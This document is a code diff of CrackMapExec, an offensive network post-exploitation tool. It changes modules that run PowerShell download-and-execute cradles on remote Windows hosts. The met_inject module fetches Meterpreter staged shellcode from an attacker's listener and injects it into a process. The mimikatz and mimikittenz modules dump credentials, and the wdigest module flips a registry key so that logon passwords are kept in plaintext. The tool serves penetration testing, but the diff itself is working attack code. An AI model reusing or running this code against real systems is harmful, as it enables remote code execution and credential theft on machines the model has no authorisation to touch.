diff --git a/cme/modules/met_inject.py b/cme/modules/met_inject.py index 81740cd6..c5b335a9 100644 --- a/cme/modules/met_inject.py +++ b/cme/modules/met_inject.py @@ -1,4 +1,4 @@ -from cme.helpers.powershell import obfs_ps_script, create_ps_command +from cme.helpers.powershell import * from sys import exit class CMEModule: @@ -42,9 +42,7 @@ class CMEModule: #PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode #so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode - payload = """ - IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1') - $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}} + payload = """$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}} $SumTest = $False while ($SumTest -eq $False) {{ @@ -55,18 +53,16 @@ class CMEModule: $Request = "{}://{}:{}/$($RequestUri)" $WebClient = New-Object System.Net.WebClient [Byte[]]$bytes = $WebClient.DownloadData($Request) - Invoke-Shellcode -Force -Shellcode $bytes""".format(context.server, - context.localip, - context.server_port, - 'http' if self.met_payload == 'reverse_http' else 'https', - self.lhost, - self.lport) + Invoke-Shellcode -Force -Shellcode $bytes""".format('http' if self.met_payload == 'reverse_http' else 'https', + self.lhost, + self.lport) if self.procid: payload += " -ProcessID {}".format(self.procid) - payload = create_ps_command(payload, force_ps32=True) - connection.execute(payload) + launcher = gen_ps_iex_cradle(context, 'Invoke-Shellcode.ps1', payload, post_back=False) + ps_command = create_ps_command(launcher, force_ps32=True) + connection.execute(ps_command) context.log.success('Executed payload') def on_request(self, context, request): diff --git a/cme/modules/mimikatz.py b/cme/modules/mimikatz.py index 62d329f0..cc207abb 100644 --- a/cme/modules/mimikatz.py +++ b/cme/modules/mimikatz.py @@ -29,7 +29,7 @@ class CMEModule: def on_admin_login(self, context, connection): command = "Invoke-Mimikatz -Command '{}'".format(self.command) - launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'Invoke-Mimikatz.ps1', command) + launcher = gen_ps_iex_cradle(context, 'Invoke-Mimikatz.ps1', command) ps_command = create_ps_command(launcher) connection.execute(ps_command) diff --git a/cme/modules/mimikittenz.py b/cme/modules/mimikittenz.py index 908e24a9..48d84a39 100644 --- a/cme/modules/mimikittenz.py +++ b/cme/modules/mimikittenz.py @@ -22,7 +22,7 @@ class CMEModule: def on_admin_login(self, context, command): command = 'Invoke-mimikittenz' - launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'Invoke-mimikittenz.ps1', command) + launcher = gen_ps_iex_cradle(context, 'Invoke-mimikittenz.ps1', command) ps_command = create_ps_command(launcher) connection.execute(ps_command) diff --git a/cme/modules/multirdp.py b/cme/modules/multirdp.py index 12b434d0..5df919ca 100644 --- a/cme/modules/multirdp.py +++ b/cme/modules/multirdp.py @@ -43,4 +43,5 @@ class CMEModule: response.stop_tracking_host() if len(data): - context.log.success("Terminal Service patched successfully") + if data.find('"TermService" service patched') != -1: + context.log.success("Terminal Service patched successfully") diff --git a/cme/modules/tokens.py b/cme/modules/tokens.py index ab746ff5..96306c1b 100644 --- a/cme/modules/tokens.py +++ b/cme/modules/tokens.py @@ -45,7 +45,7 @@ class CMEModule: def on_admin_login(self, context, connection): command = "Invoke-TokenManipulation -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String" - launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'Invoke-TokenManipulation.ps1', command) + launcher = gen_ps_iex_cradle(context, 'Invoke-TokenManipulation.ps1', command) ps_command = create_ps_command(launcher) connection.execute(ps_command, methods=['smbexec']) diff --git a/cme/modules/wdigest.py b/cme/modules/wdigest.py index c1089180..8fa4fb6d 100644 --- a/cme/modules/wdigest.py +++ b/cme/modules/wdigest.py @@ -35,18 +35,17 @@ class CMEModule: def wdigest_enable(self, context, smbconnection): remoteOps = RemoteOperations(smbconnection, False) remoteOps.enableRegistry() - rrp = remoteOps._RemoteOperations__rrp - if rrp is not None: - ans = rrp.hOpenLocalMachine(rrp) + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) regHandle = ans['phKey'] - ans = rrp.hBaseRegOpenKey(rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') keyHandle = ans['phkResult'] - rrp.hBaseRegSetValue(rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1) + rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1) - rtype, data = rrp.hBaseRegQueryValue(rrp, keyHandle, 'UseLogonCredential\x00') + rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00') if int(data) == 1: context.log.success('UseLogonCredential registry key created successfully') @@ -59,17 +58,16 @@ class CMEModule: def wdigest_disable(self, context, smbconnection): remoteOps = RemoteOperations(smbconnection, False) remoteOps.enableRegistry() - rrp = remoteOps._RemoteOperations__rrp - if rrp is not None: - ans = rrp.hOpenLocalMachine(rrp) + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) regHandle = ans['phKey'] - ans = rrp.hBaseRegOpenKey(rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') + ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest') keyHandle = ans['phkResult'] try: - rrp.hBaseRegDeleteValue(rrp, keyHandle, 'UseLogonCredential\x00') + rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00') except: context.log.success('UseLogonCredential registry key not present') @@ -82,7 +80,7 @@ class CMEModule: try: #Check to make sure the reg key is actually deleted - rtype, data = rrp.hBaseRegQueryValue(rrp, keyHandle, 'UseLogonCredential\x00') + rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00') except DCERPCException: context.log.success('UseLogonCredential registry key deleted successfully') diff --git a/cme/protocols/mssql.py b/cme/protocols/mssql.py index b69e511e..67cab017 100755 --- a/cme/protocols/mssql.py +++ b/cme/protocols/mssql.py @@ -80,7 +80,7 @@ class mssql(connection): def create_conn_obj(self): try: - self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) + self.conn = tds.MSSQL(self.host, self.args.mssql_port, rowsPrinter=self.logger) self.conn.connect() except socket.error: return False @@ -194,20 +194,8 @@ class mssql(connection): #We hook these functions in the tds library to use CME's logger instead of printing the output to stdout #The whole tds library in impacket needs a good overhaul to preserve my sanity -def printRowsCME(self): - if self.lastError is True: - return - out = '' - self.processColMeta() - #self.printColumnsHeader() - for row in self.rows: - for col in self.colMeta: - if row[col['Name']] != 'NULL': - out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n' - - return out - def printRepliesCME(self): + print(self._MSSQL__rowsPrinter) for keys in self.replies.keys(): for i, key in enumerate(self.replies[keys]): if key['TokenType'] == TDS_ERROR_TOKEN: @@ -240,5 +228,4 @@ def printRepliesCME(self): _type = "%d" % key['Type'] self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le'))) -tds.MSSQL.printReplies = printRepliesCME -tds.MSSQL.printRows = printRowsCME +#tds.MSSQL.printReplies = printRepliesCME diff --git a/cme/protocols/smb/database.py b/cme/protocols/smb/database.py index 1e4f675f..c5ac35ca 100755 --- a/cme/protocols/smb/database.py +++ b/cme/protocols/smb/database.py @@ -160,13 +160,15 @@ class database: user_rowid = cur.lastrowid if groupid: cur.execute("INSERT INTO group_relations (userid, groupid) VALUES (?,?)", [user_rowid, groupid]) - #else: - # for user in results: - # if (domain != user[1]) and (username != user[2]): - # cur.execute("UPDATE users SET domain=?, user=? WHERE id=?", [domain, username, user[0]]) - # user_rowid = cur.lastrowid - # if groupid and not len(self.get_group_relations(user_rowid, groupid)): - # cur.execute("INSERT INTO group_relations (userid, groupid) VALUES (?,?)", [user_rowid, groupid]) + else: + for user in results: + if (domain != user[1]) and (username != user[2]): + cur.execute("UPDATE users SET domain=?, user=? WHERE id=?", [domain, username, user[0]]) + user_rowid = cur.lastrowid + + if not user_rowid: user_rowid = user[0] + if groupid and not len(self.get_group_relations(user_rowid, groupid)): + cur.execute("INSERT INTO group_relations (userid, groupid) VALUES (?,?)", [user_rowid, groupid]) cur.close()